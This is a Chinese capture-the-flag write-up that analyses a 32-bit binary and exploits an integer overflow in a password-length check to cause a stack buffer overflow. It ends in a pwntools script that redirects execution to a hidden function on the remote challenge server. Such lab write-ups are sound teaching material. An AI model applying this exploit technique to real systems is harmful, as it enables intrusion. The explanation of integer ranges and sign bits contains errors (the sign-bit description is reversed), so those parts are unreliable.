题目描述

菜鸡感觉这题似乎没有办法溢出,真的么?

Solution

首先检查文件信息:

004-1.png

这是一个 ELF32 文件, 符号表未摘除,没有金丝雀,不是位置无关程序,但栈不可执行。我们把程序放入 IDA 分析:

004-2.png

main()函数中,我们输入一个选择,进入login()函数。

004-3.png

login()函数中,用户输入用户名和密码,保存在栈上的缓冲区。这里没有栈溢出的情况。

004-4.png

进入check_passwd(),如果我们输入的密码长度小于等于 3 或 大于 8,则失败退出。否则,会执行一个strcpy()操作,这里password的长度高达 409,而dest缓冲区的长度只有 11,所以这里会发送缓冲区溢出。我们发现函数列表中有一个很特别:

004-5.png

所以解题思路就是构造一个栈溢出,然后把返回地址修改成what_is_this()函数即可。上面的条件判断是 if(len_passwd <= 3u || len_passwd > 8u),我们需要一个整数溢出。无符号整型(Unsigned interger)的范围是 [0, 255],超过 255 就会回到 0。所以我们要控制长度在 [259, 263] 之间。

整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0, 无符号数取值范围为非负数,在 32 位操作系统下,常见各类型占用字节数如下:

Type Bytes Range
int 4 -2147483648 to 2147483647
short int 2 -32768 to 32767
long int 4 -2147483648 to 2147483647
unsigned int 4 0 to 4294967295
unsigned short int 2 0 to 65535
unsigned long int 4 0 to 4294967295

观察dest变量的定义:

004-6.png

所以至少要大于0x14 + 4 + 4。Python 漏洞利用脚本如下:

from pwn import *

#conn = process('./004')
conn = remote('111.200.241.244', 61667)

ret_addr = 0x0804868b # address of `what_is_this()`

payload = b'A' * (0x14 + 4) + p32(ret_addr) + \
    b'A' * (259 - 0x14 - 4 - 4)

conn.sendlineafter('Your choice:', '1')
conn.sendlineafter('username:', 'root')
conn.sendlineafter('passwd:', payload)
conn.interactive()

这里的ret_addr地址是直接从what_is_this()函数中获取的目标函数执行地址。为了要让总长度为 259,我们要在尾部补足字符数量为 (259 - 0x14 - 4 - 4)。

004-7.png